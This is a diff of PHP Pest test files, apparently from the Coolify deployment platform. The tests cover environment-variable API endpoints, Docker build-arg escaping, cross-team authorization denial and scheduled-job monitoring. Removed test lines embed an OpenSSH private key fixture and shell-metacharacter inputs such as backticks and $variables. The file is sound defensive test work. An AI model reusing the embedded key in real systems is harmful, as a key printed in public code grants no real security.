$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson('/api/v1/services/non-existent-uuid/envs', [
|
||||
'key' => 'APP_IMAGE_TAG',
|
||||
'value' => 'some-value',
|
||||
]);
|
||||
|
||||
$response->assertStatus(404);
|
||||
});
|
||||
|
||||
test('returns 422 when key is missing', function () {
|
||||
$service = Service::factory()->create([
|
||||
'server_id' => $this->server->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
'environment_id' => $this->environment->id,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/services/{$service->uuid}/envs", [
|
||||
'value' => 'some-value',
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
});
|
||||
|
||||
describe('PATCH /api/v1/applications/{uuid}/envs', function () {
|
||||
test('returns the updated environment variable object', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'APP_IMAGE_TAG',
|
||||
'value' => 'old-value',
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $application->id,
|
||||
'is_preview' => false,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/applications/{$application->uuid}/envs", [
|
||||
'key' => 'APP_IMAGE_TAG',
|
||||
'value' => 'new-value',
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
$response->assertJsonStructure([
|
||||
'uuid',
|
||||
'key',
|
||||
'is_literal',
|
||||
'is_multiline',
|
||||
'is_shown_once',
|
||||
'created_at',
|
||||
'updated_at',
|
||||
]);
|
||||
$response->assertJsonFragment(['key' => 'APP_IMAGE_TAG']);
|
||||
$response->assertJsonMissing(['message' => 'Environment variable updated.']);
|
||||
});
|
||||
|
||||
test('returns 404 when environment variable does not exist', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/applications/{$application->uuid}/envs", [
|
||||
'key' => 'NONEXISTENT_KEY',
|
||||
'value' => 'some-value',
|
||||
]);
|
||||
|
||||
$response->assertStatus(404);
|
||||
});
|
||||
|
||||
test('returns 422 when key is missing', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/applications/{$application->uuid}/envs", [
|
||||
'value' => 'some-value',
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
});
|
||||
});
|
||||
@@ -1,144 +1,59 @@
|
||||
<?php
|
||||
|
||||
test('multiline environment variables are properly escaped for docker build args', function () {
|
||||
$sshKey = '-----BEGIN OPENSSH PRIVATE KEY-----
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
|
||||
QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
|
||||
hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
|
||||
AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
|
||||
uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
|
||||
-----END OPENSSH PRIVATE KEY-----';
|
||||
|
||||
test('generateDockerBuildArgs returns only keys without values', function () {
|
||||
$variables = [
|
||||
['key' => 'SSH_PRIVATE_KEY', 'value' => "'{$sshKey}'", 'is_multiline' => true],
|
||||
['key' => 'SSH_PRIVATE_KEY', 'value' => "'some-ssh-key'", 'is_multiline' => true],
|
||||
['key' => 'REGULAR_VAR', 'value' => 'simple value', 'is_multiline' => false],
|
||||
];
|
||||
|
||||
$buildArgs = generateDockerBuildArgs($variables);
|
||||
|
||||
// SSH key should use double quotes and have proper escaping
|
||||
$sshArg = $buildArgs->first();
|
||||
expect($sshArg)->toStartWith('--build-arg SSH_PRIVATE_KEY="');
|
||||
expect($sshArg)->toEndWith('"');
|
||||
expect($sshArg)->toContain('BEGIN OPENSSH PRIVATE KEY');
|
||||
expect($sshArg)->not->toContain("'BEGIN"); // Should not have the wrapper single quotes
|
||||
|
||||
// Regular var should use escapeshellarg (single quotes)
|
||||
$regularArg = $buildArgs->last();
|
||||
expect($regularArg)->toBe("--build-arg REGULAR_VAR='simple value'");
|
||||
// Docker gets values from the environment, so only keys should be in build args
|
||||
expect($buildArgs->first())->toBe('--build-arg SSH_PRIVATE_KEY');
|
||||
expect($buildArgs->last())->toBe('--build-arg REGULAR_VAR');
|
||||
});
|
||||
|
||||
test('multiline variables with special bash characters are escaped correctly', function () {
|
||||
$valueWithSpecialChars = "line1\nline2 with \"quotes\"\nline3 with \$variables\nline4 with `backticks`";
|
||||
test('generateDockerBuildArgs works with collection of objects', function () {
|
||||
$variables = collect([
|
||||
(object) ['key' => 'VAR1', 'value' => 'value1', 'is_multiline' => false],
|
||||
(object) ['key' => 'VAR2', 'value' => "'multiline\nvalue'", 'is_multiline' => true],
|
||||
]);
|
||||
|
||||
$buildArgs = generateDockerBuildArgs($variables);
|
||||
expect($buildArgs)->toHaveCount(2);
|
||||
expect($buildArgs->values()->toArray())->toBe([
|
||||
'--build-arg VAR1',
|
||||
'--build-arg VAR2',
|
||||
]);
|
||||
});
|
||||
|
||||
test('generateDockerBuildArgs collection can be imploded into valid command string', function () {
|
||||
$variables = [
|
||||
['key' => 'SPECIAL_VALUE', 'value' => "'{$valueWithSpecialChars}'", 'is_multiline' => true],
|
||||
['key' => 'COOLIFY_URL', 'value' => 'http://example.com', 'is_multiline' => false],
|
||||
['key' => 'COOLIFY_BRANCH', 'value' => 'main', 'is_multiline' => false],
|
||||
];
|
||||
|
||||
$buildArgs = generateDockerBuildArgs($variables);
|
||||
|
||||
// The collection must be imploded to a string for command interpolation
|
||||
// This was the bug: Collection was interpolated as JSON instead of a space-separated string
|
||||
$argsString = $buildArgs->implode(' ');
|
||||
expect($argsString)->toBe('--build-arg COOLIFY_URL --build-arg COOLIFY_BRANCH');
|
||||
|
||||
// Verify it does NOT produce JSON when cast to string
|
||||
expect($argsString)->not->toContain('{');
|
||||
expect($argsString)->not->toContain('}');
|
||||
});
|
||||
|
||||
test('generateDockerBuildArgs handles variables without is_multiline', function () {
|
||||
$variables = [
|
||||
['key' => 'NO_FLAG_VAR', 'value' => 'some value'],
|
||||
];
|
||||
|
||||
$buildArgs = generateDockerBuildArgs($variables);
|
||||
$arg = $buildArgs->first();
|
||||
|
||||
// Verify double quotes are escaped
|
||||
expect($arg)->toContain('\\"quotes\\"');
|
||||
// Verify dollar signs are escaped
|
||||
expect($arg)->toContain('\\$variables');
|
||||
// Verify backticks are escaped
|
||||
expect($arg)->toContain('\\`backticks\\`');
|
||||
});
|
||||
|
||||
test('single-line environment variables use escapeshellarg', function () {
|
||||
$variables = [
|
||||
['key' => 'SIMPLE_VAR', 'value' => 'simple value with spaces', 'is_multiline' => false],
|
||||
];
|
||||
|
||||
$buildArgs = generateDockerBuildArgs($variables);
|
||||
$arg = $buildArgs->first();
|
||||
|
||||
// Should use single quotes from escapeshellarg
|
||||
expect($arg)->toBe("--build-arg SIMPLE_VAR='simple value with spaces'");
|
||||
});
|
||||
|
||||
test('multiline certificate with newlines is preserved', function () {
|
||||
$certificate = '-----BEGIN CERTIFICATE-----
|
||||
MIIDXTCCAkWgAwIBAgIJAKL0UG+mRkSvMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV
|
||||
BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX
|
||||
aWRnaXRzIFB0eSBMdGQwHhcNMTkwOTE3MDUzMzI5WhcNMjkwOTE0MDUzMzI5WjBF
|
||||
-----END CERTIFICATE-----';
|
||||
|
||||
$variables = [
|
||||
['key' => 'TLS_CERT', 'value' => "'{$certificate}'", 'is_multiline' => true],
|
||||
];
|
||||
|
||||
$buildArgs = generateDockerBuildArgs($variables);
|
||||
$arg = $buildArgs->first();
|
||||
|
||||
// Newlines should be preserved in the output
|
||||
expect($arg)->toContain("\n");
|
||||
expect($arg)->toContain('BEGIN CERTIFICATE');
|
||||
expect($arg)->toContain('END CERTIFICATE');
|
||||
expect(substr_count($arg, "\n"))->toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
test('multiline JSON configuration is properly escaped', function () {
|
||||
$jsonConfig = '{
|
||||
"key": "value",
|
||||
"nested": {
|
||||
"array": [1, 2, 3]
|
||||
}
|
||||
}';
|
||||
|
||||
$variables = [
|
||||
['key' => 'JSON_CONFIG', 'value' => "'{$jsonConfig}'", 'is_multiline' => true],
|
||||
];
|
||||
|
||||
$buildArgs = generateDockerBuildArgs($variables);
|
||||
$arg = $buildArgs->first();
|
||||
|
||||
// All double quotes in JSON should be escaped
|
||||
expect($arg)->toContain('\\"key\\"');
|
||||
expect($arg)->toContain('\\"value\\"');
|
||||
expect($arg)->toContain('\\"nested\\"');
|
||||
});
|
||||
|
||||
test('empty multiline variable is handled correctly', function () {
|
||||
$variables = [
|
||||
['key' => 'EMPTY_VAR', 'value' => "''", 'is_multiline' => true],
|
||||
];
|
||||
|
||||
$buildArgs = generateDockerBuildArgs($variables);
|
||||
$arg = $buildArgs->first();
|
||||
|
||||
expect($arg)->toBe('--build-arg EMPTY_VAR=""');
|
||||
});
|
||||
|
||||
test('multiline variable with only newlines', function () {
|
||||
$onlyNewlines = "\n\n\n";
|
||||
|
||||
$variables = [
|
||||
['key' => 'NEWLINES_ONLY', 'value' => "'{$onlyNewlines}'", 'is_multiline' => true],
|
||||
];
|
||||
|
||||
$buildArgs = generateDockerBuildArgs($variables);
|
||||
$arg = $buildArgs->first();
|
||||
|
||||
expect($arg)->toContain("\n");
|
||||
// Should have 3 newlines preserved
|
||||
expect(substr_count($arg, "\n"))->toBe(3);
|
||||
});
|
||||
|
||||
test('multiline variable with backslashes is escaped correctly', function () {
|
||||
$valueWithBackslashes = "path\\to\\file\nC:\\Windows\\System32";
|
||||
|
||||
$variables = [
|
||||
['key' => 'PATH_VAR', 'value' => "'{$valueWithBackslashes}'", 'is_multiline' => true],
|
||||
];
|
||||
|
||||
$buildArgs = generateDockerBuildArgs($variables);
|
||||
$arg = $buildArgs->first();
|
||||
|
||||
// Backslashes should be doubled
|
||||
expect($arg)->toContain('path\\\\to\\\\file');
|
||||
expect($arg)->toContain('C:\\\\Windows\\\\System32');
|
||||
expect($arg)->toBe('--build-arg NO_FLAG_VAR');
|
||||
});
|
||||
|
||||
test('generateDockerEnvFlags produces correct format', function () {
|
||||
@@ -155,54 +70,14 @@ test('generateDockerEnvFlags produces correct format', function () {
|
||||
expect($envFlags)->toContain('line2');
|
||||
});
|
||||
|
||||
test('helper functions work with collection input', function () {
|
||||
test('generateDockerEnvFlags works with collection input', function () {
|
||||
$variables = collect([
|
||||
(object) ['key' => 'VAR1', 'value' => 'value1', 'is_multiline' => false],
|
||||
(object) ['key' => 'VAR2', 'value' => "'multiline\nvalue'", 'is_multiline' => true],
|
||||
]);
|
||||
|
||||
$buildArgs = generateDockerBuildArgs($variables);
|
||||
expect($buildArgs)->toHaveCount(2);
|
||||
|
||||
$envFlags = generateDockerEnvFlags($variables);
|
||||
expect($envFlags)->toBeString();
|
||||
expect($envFlags)->toContain('-e VAR1=');
|
||||
expect($envFlags)->toContain('-e VAR2="');
|
||||
});
|
||||
|
||||
test('variables without is_multiline default to false', function () {
|
||||
$variables = [
|
||||
['key' => 'NO_FLAG_VAR', 'value' => 'some value'],
|
||||
];
|
||||
|
||||
$buildArgs = generateDockerBuildArgs($variables);
|
||||
$arg = $buildArgs->first();
|
||||
|
||||
// Should use escapeshellarg (single quotes) since is_multiline defaults to false
|
||||
expect($arg)->toBe("--build-arg NO_FLAG_VAR='some value'");
|
||||
});
|
||||
|
||||
test('real world SSH key example', function () {
|
||||
// Simulate what real_value returns (wrapped in single quotes)
|
||||
$sshKey = "'-----BEGIN OPENSSH PRIVATE KEY-----
|
||||
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
|
||||
QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
|
||||
hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
|
||||
AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
|
||||
uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
|
||||
-----END OPENSSH PRIVATE KEY-----'";
|
||||
|
||||
$variables = [
|
||||
['key' => 'KEY', 'value' => $sshKey, 'is_multiline' => true],
|
||||
];
|
||||
|
||||
$buildArgs = generateDockerBuildArgs($variables);
|
||||
$arg = $buildArgs->first();
|
||||
|
||||
// Should produce clean output without wrapper quotes
|
||||
expect($arg)->toStartWith('--build-arg KEY="-----BEGIN OPENSSH PRIVATE KEY-----');
|
||||
expect($arg)->toEndWith('-----END OPENSSH PRIVATE KEY-----"');
|
||||
// Should NOT have the escaped quote sequence that was in the bug
|
||||
expect($arg)->not->toContain("''");
|
||||
expect($arg)->not->toContain("'\\''");
|
||||
});
|
||||
@@ -0,0 +1,76 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\PushServerUpdateJob;
|
||||
use App\Models\Server;
|
||||
use App\Models\Service;
|
||||
use App\Models\ServiceApplication;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
test('containers with empty service subId are skipped', function () {
|
||||
$server = Server::factory()->create();
|
||||
$service = Service::factory()->create([
|
||||
'server_id' => $server->id,
|
||||
]);
|
||||
$serviceApp = ServiceApplication::factory()->create([
|
||||
'service_id' => $service->id,
|
||||
]);
|
||||
|
||||
$data = [
|
||||
'containers' => [
|
||||
[
|
||||
'name' => 'test-container',
|
||||
'state' => 'running',
|
||||
'health_status' => 'healthy',
|
||||
'labels' => [
|
||||
'coolify.managed' => true,
|
||||
'coolify.serviceId' => (string) $service->id,
|
||||
'coolify.service.subType' => 'application',
|
||||
'coolify.service.subId' => '',
|
||||
],
|
||||
],
|
||||
],
|
||||
];
|
||||
|
||||
$job = new PushServerUpdateJob($server, $data);
|
||||
|
||||
// Run handle - should not throw a PDOException about empty bigint
|
||||
$job->handle();
|
||||
|
||||
// The empty subId container should have been skipped
|
||||
expect($job->foundServiceApplicationIds)->not->toContain('');
|
||||
expect($job->serviceContainerStatuses)->toBeEmpty();
|
||||
});
|
||||
|
||||
test('containers with valid service subId are processed', function () {
|
||||
$server = Server::factory()->create();
|
||||
$service = Service::factory()->create([
|
||||
'server_id' => $server->id,
|
||||
]);
|
||||
$serviceApp = ServiceApplication::factory()->create([
|
||||
'service_id' => $service->id,
|
||||
]);
|
||||
|
||||
$data = [
|
||||
'containers' => [
|
||||
[
|
||||
'name' => 'test-container',
|
||||
'state' => 'running',
|
||||
'health_status' => 'healthy',
|
||||
'labels' => [
|
||||
'coolify.managed' => true,
|
||||
'coolify.serviceId' => (string) $service->id,
|
||||
'coolify.service.subType' => 'application',
|
||||
'coolify.service.subId' => (string) $serviceApp->id,
|
||||
'com.docker.compose.service' => 'myapp',
|
||||
],
|
||||
],
|
||||
],
|
||||
];
|
||||
|
||||
$job = new PushServerUpdateJob($server, $data);
|
||||
$job->handle();
|
||||
|
||||
expect($job->foundServiceApplicationIds)->toContain((string) $serviceApp->id);
|
||||
});
|
||||
@@ -0,0 +1,85 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Shared\ResourceOperations;
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Livewire\Livewire;
|
||||
|
||||
beforeEach(function () {
|
||||
// Team A (attacker's team)
|
||||
$this->userA = User::factory()->create();
|
||||
$this->teamA = Team::factory()->create();
|
||||
$this->userA->teams()->attach($this->teamA, ['role' => 'owner']);
|
||||
|
||||
$this->serverA = Server::factory()->create(['team_id' => $this->teamA->id]);
|
||||
$this->destinationA = StandaloneDocker::factory()->create(['server_id' => $this->serverA->id]);
|
||||
$this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);
|
||||
$this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]);
|
||||
|
||||
$this->applicationA = Application::factory()->create([
|
||||
'environment_id' => $this->environmentA->id,
|
||||
'destination_id' => $this->destinationA->id,
|
||||
'destination_type' => $this->destinationA->getMorphClass(),
|
||||
]);
|
||||
|
||||
// Team B (victim's team)
|
||||
$this->teamB = Team::factory()->create();
|
||||
$this->serverB = Server::factory()->create(['team_id' => $this->teamB->id]);
|
||||
$this->destinationB = StandaloneDocker::factory()->create(['server_id' => $this->serverB->id]);
|
||||
$this->projectB = Project::factory()->create(['team_id' => $this->teamB->id]);
|
||||
$this->environmentB = Environment::factory()->create(['project_id' => $this->projectB->id]);
|
||||
|
||||
$this->actingAs($this->userA);
|
||||
session(['currentTeam' => $this->teamA]);
|
||||
});
|
||||
|
||||
test('cloneTo rejects destination belonging to another team', function () {
|
||||
Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
|
||||
->call('cloneTo', $this->destinationB->id)
|
||||
->assertHasErrors('destination_id');
|
||||
|
||||
// Ensure no cross-tenant application was created
|
||||
expect(Application::where('destination_id', $this->destinationB->id)->exists())->toBeFalse();
|
||||
});
|
||||
|
||||
test('cloneTo allows destination belonging to own team', function () {
|
||||
$secondDestination = StandaloneDocker::factory()->create(['server_id' => $this->serverA->id]);
|
||||
|
||||
Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
|
||||
->call('cloneTo', $secondDestination->id)
|
||||
->assertHasNoErrors('destination_id')
|
||||
->assertRedirect();
|
||||
});
|
||||
|
||||
test('moveTo rejects environment belonging to another team', function () {
|
||||
Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
|
||||
->call('moveTo', $this->environmentB->id);
|
||||
|
||||
// Resource should still be in original environment
|
||||
$this->applicationA->refresh();
|
||||
expect($this->applicationA->environment_id)->toBe($this->environmentA->id);
|
||||
});
|
||||
|
||||
test('moveTo allows environment belonging to own team', function () {
|
||||
$secondEnvironment = Environment::factory()->create(['project_id' => $this->projectA->id]);
|
||||
|
||||
Livewire::test(ResourceOperations::class, ['resource' => $this->applicationA])
|
||||
->call('moveTo', $secondEnvironment->id)
|
||||
->assertRedirect();
|
||||
|
||||
$this->applicationA->refresh();
|
||||
expect($this->applicationA->environment_id)->toBe($secondEnvironment->id);
|
||||
});
|
||||
|
||||
test('StandaloneDockerPolicy denies update for cross-team user', function () {
|
||||
expect($this->userA->can('update', $this->destinationB))->toBeFalse();
|
||||
});
|
||||
|
||||
test('StandaloneDockerPolicy allows update for same-team user', function () {
|
||||
expect($this->userA->can('update', $this->destinationA))->toBeTrue();
|
||||
});
|
||||
@@ -0,0 +1,49 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\ScheduledJobManager;
|
||||
use Illuminate\Support\Facades\Redis;
|
||||
|
||||
it('clears stale lock when TTL is -1', function () {
|
||||
$cachePrefix = config('cache.prefix');
|
||||
$lockKey = $cachePrefix.'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager';
|
||||
|
||||
$redis = Redis::connection('default');
|
||||
$redis->set($lockKey, 'stale-owner');
|
||||
|
||||
expect($redis->ttl($lockKey))->toBe(-1);
|
||||
|
||||
$job = new ScheduledJobManager;
|
||||
$job->middleware();
|
||||
|
||||
expect($redis->exists($lockKey))->toBe(0);
|
||||
});
|
||||
|
||||
it('preserves valid lock with positive TTL', function () {
|
||||
$cachePrefix = config('cache.prefix');
|
||||
$lockKey = $cachePrefix.'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager';
|
||||
|
||||
$redis = Redis::connection('default');
|
||||
$redis->set($lockKey, 'active-owner');
|
||||
$redis->expire($lockKey, 60);
|
||||
|
||||
expect($redis->ttl($lockKey))->toBeGreaterThan(0);
|
||||
|
||||
$job = new ScheduledJobManager;
|
||||
$job->middleware();
|
||||
|
||||
expect($redis->exists($lockKey))->toBe(1);
|
||||
|
||||
$redis->del($lockKey);
|
||||
});
|
||||
|
||||
it('does not fail when no lock exists', function () {
|
||||
$cachePrefix = config('cache.prefix');
|
||||
$lockKey = $cachePrefix.'laravel-queue-overlap:'.ScheduledJobManager::class.':scheduled-job-manager';
|
||||
|
||||
Redis::connection('default')->del($lockKey);
|
||||
|
||||
$job = new ScheduledJobManager;
|
||||
$middleware = $job->middleware();
|
||||
|
||||
expect($middleware)->toBeArray()->toHaveCount(1);
|
||||
});
|
||||
@@ -0,0 +1,200 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Settings\ScheduledJobs;
|
||||
use App\Models\DockerCleanupExecution;
|
||||
use App\Models\ScheduledDatabaseBackup;
|
||||
use App\Models\ScheduledDatabaseBackupExecution;
|
||||
use App\Models\Server;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use App\Services\SchedulerLogParser;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
// Create root team (id 0) and root user
|
||||
$this->rootTeam = Team::factory()->create(['id' => 0, 'name' => 'Root Team']);
|
||||
$this->rootUser = User::factory()->create();
|
||||
$this->rootUser->teams()->attach($this->rootTeam, ['role' => 'owner']);
|
||||
|
||||
// Create regular team and user
|
||||
$this->regularTeam = Team::factory()->create();
|
||||
$this->regularUser = User::factory()->create();
|
||||
$this->regularUser->teams()->attach($this->regularTeam, ['role' => 'owner']);
|
||||
});
|
||||
|
||||
test('scheduled jobs page requires instance admin access', function () {
|
||||
$this->actingAs($this->regularUser);
|
||||
session(['currentTeam' => $this->regularTeam]);
|
||||
|
||||
$response = $this->get(route('settings.scheduled-jobs'));
|
||||
$response->assertRedirect(route('dashboard'));
|
||||
});
|
||||
|
||||
test('scheduled jobs page is accessible by instance admin', function () {
|
||||
$this->actingAs($this->rootUser);
|
||||
session(['currentTeam' => $this->rootTeam]);
|
||||
|
||||
Livewire::test(ScheduledJobs::class)
|
||||
->assertStatus(200)
|
||||
->assertSee('Scheduled Job Issues');
|
||||
});
|
||||
|
||||
test('scheduled jobs page shows failed backup executions', function () {
|
||||
$this->actingAs($this->rootUser);
|
||||
session(['currentTeam' => $this->rootTeam]);
|
||||
|
||||
$server = Server::factory()->create(['team_id' => $this->rootTeam->id]);
|
||||
|
||||
$backup = ScheduledDatabaseBackup::create([
|
||||
'team_id' => $this->rootTeam->id,
|
||||
'frequency' => '0 * * * *',
|
||||
'database_id' => 1,
|
||||
'database_type' => 'App\Models\StandalonePostgresql',
|
||||
'enabled' => true,
|
||||
]);
|
||||
|
||||
ScheduledDatabaseBackupExecution::create([
|
||||
'scheduled_database_backup_id' => $backup->id,
|
||||
'status' => 'failed',
|
||||
'message' => 'Backup failed: connection timeout',
|
||||
]);
|
||||
|
||||
Livewire::test(ScheduledJobs::class)
|
||||
->assertStatus(200)
|
||||
->assertSee('Backup');
|
||||
});
|
||||
|
||||
test('scheduled jobs page shows failed cleanup executions', function () {
|
||||
$this->actingAs($this->rootUser);
|
||||
session(['currentTeam' => $this->rootTeam]);
|
||||
|
||||
$server = Server::factory()->create([
|
||||
'team_id' => $this->rootTeam->id,
|
||||
]);
|
||||
|
||||
DockerCleanupExecution::create([
|
||||
'server_id' => $server->id,
|
||||
'status' => 'failed',
|
||||
'message' => 'Cleanup failed: disk full',
|
||||
]);
|
||||
|
||||
Livewire::test(ScheduledJobs::class)
|
||||
->assertStatus(200)
|
||||
->assertSee('Cleanup');
|
||||
});
|
||||
|
||||
test('filter by type works', function () {
|
||||
$this->actingAs($this->rootUser);
|
||||
session(['currentTeam' => $this->rootTeam]);
|
||||
|
||||
Livewire::test(ScheduledJobs::class)
|
||||
->set('filterType', 'backup')
|
||||
->assertStatus(200)
|
||||
->set('filterType', 'cleanup')
|
||||
->assertStatus(200)
|
||||
->set('filterType', 'task')
|
||||
->assertStatus(200);
|
||||
});
|
||||
|
||||
test('only failed executions are shown', function () {
|
||||
$this->actingAs($this->rootUser);
|
||||
session(['currentTeam' => $this->rootTeam]);
|
||||
|
||||
$backup = ScheduledDatabaseBackup::create([
|
||||
'team_id' => $this->rootTeam->id,
|
||||
'frequency' => '0 * * * *',
|
||||
'database_id' => 1,
|
||||
'database_type' => 'App\Models\StandalonePostgresql',
|
||||
'enabled' => true,
|
||||
]);
|
||||
|
||||
ScheduledDatabaseBackupExecution::create([
|
||||
'scheduled_database_backup_id' => $backup->id,
|
||||
'status' => 'success',
|
||||
'message' => 'Backup completed successfully',
|
||||
]);
|
||||
|
||||
ScheduledDatabaseBackupExecution::create([
|
||||
'scheduled_database_backup_id' => $backup->id,
|
||||
'status' => 'failed',
|
||||
'message' => 'Backup failed: connection refused',
|
||||
]);
|
||||
|
||||
Livewire::test(ScheduledJobs::class)
|
||||
->assertSee('Backup failed: connection refused')
|
||||
->assertDontSee('Backup completed successfully');
|
||||
});
|
||||
|
||||
test('filter by date range works', function () {
|
||||
$this->actingAs($this->rootUser);
|
||||
session(['currentTeam' => $this->rootTeam]);
|
||||
|
||||
Livewire::test(ScheduledJobs::class)
|
||||
->set('filterDate', 'last_7d')
|
||||
->assertStatus(200)
|
||||
->set('filterDate', 'last_30d')
|
||||
->assertStatus(200)
|
||||
->set('filterDate', 'all')
|
||||
->assertStatus(200);
|
||||
});
|
||||
|
||||
test('scheduler log parser returns empty collection when no logs exist', function () {
|
||||
$parser = new SchedulerLogParser;
|
||||
|
||||
$skips = $parser->getRecentSkips();
|
||||
expect($skips)->toBeEmpty();
|
||||
|
||||
$runs = $parser->getRecentRuns();
|
||||
expect($runs)->toBeEmpty();
|
||||
})->skip(fn () => file_exists(storage_path('logs/scheduled-'.now()->format('Y-m-d').'.log')), 'Skipped: log file already exists from other tests');
|
||||
|
||||
test('scheduler log parser parses skip entries correctly', function () {
|
||||
$logPath = storage_path('logs/scheduled-'.now()->format('Y-m-d').'.log');
|
||||
$logDir = dirname($logPath);
|
||||
if (! is_dir($logDir)) {
|
||||
mkdir($logDir, 0755, true);
|
||||
}
|
||||
|
||||
$logLine = '['.now()->format('Y-m-d H:i:s').'] production.INFO: Backup skipped {"type":"backup","skip_reason":"server_not_functional","execution_time":"'.now()->toIso8601String().'","backup_id":1,"team_id":5}';
|
||||
file_put_contents($logPath, $logLine."\n");
|
||||
|
||||
$parser = new SchedulerLogParser;
|
||||
$skips = $parser->getRecentSkips();
|
||||
|
||||
expect($skips)->toHaveCount(1);
|
||||
expect($skips->first()['type'])->toBe('backup');
|
||||
expect($skips->first()['reason'])->toBe('server_not_functional');
|
||||
expect($skips->first()['team_id'])->toBe(5);
|
||||
|
||||
// Cleanup
|
||||
@unlink($logPath);
|
||||
});
|
||||
|
||||
test('scheduler log parser filters by team id', function () {
|
||||
$logPath = storage_path('logs/scheduled-'.now()->format('Y-m-d').'.log');
|
||||
$logDir = dirname($logPath);
|
||||
if (! is_dir($logDir)) {
|
||||
mkdir($logDir, 0755, true);
|
||||
}
|
||||
|
||||
$lines = [
|
||||
'['.now()->format('Y-m-d H:i:s').'] production.INFO: Backup skipped {"type":"backup","skip_reason":"server_not_functional","team_id":1}',
|
||||
'['.now()->format('Y-m-d H:i:s').'] production.INFO: Backup skipped {"type":"backup","skip_reason":"subscription_unpaid","team_id":2}',
|
||||
];
|
||||
file_put_contents($logPath, implode("\n", $lines)."\n");
|
||||
|
||||
$parser = new SchedulerLogParser;
|
||||
|
||||
$allSkips = $parser->getRecentSkips(100);
|
||||
expect($allSkips)->toHaveCount(2);
|
||||
|
||||
$team1Skips = $parser->getRecentSkips(100, 1);
|
||||
expect($team1Skips)->toHaveCount(1);
|
||||
expect($team1Skips->first()['team_id'])->toBe(1);
|
||||
|
||||
// Cleanup
|
||||
@unlink($logPath);
|
||||
});
|
||||
@@ -0,0 +1,365 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\ScheduledTask;
|
||||
use App\Models\ScheduledTaskExecution;
|
||||
use App\Models\Server;
|
||||
use App\Models\Service;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
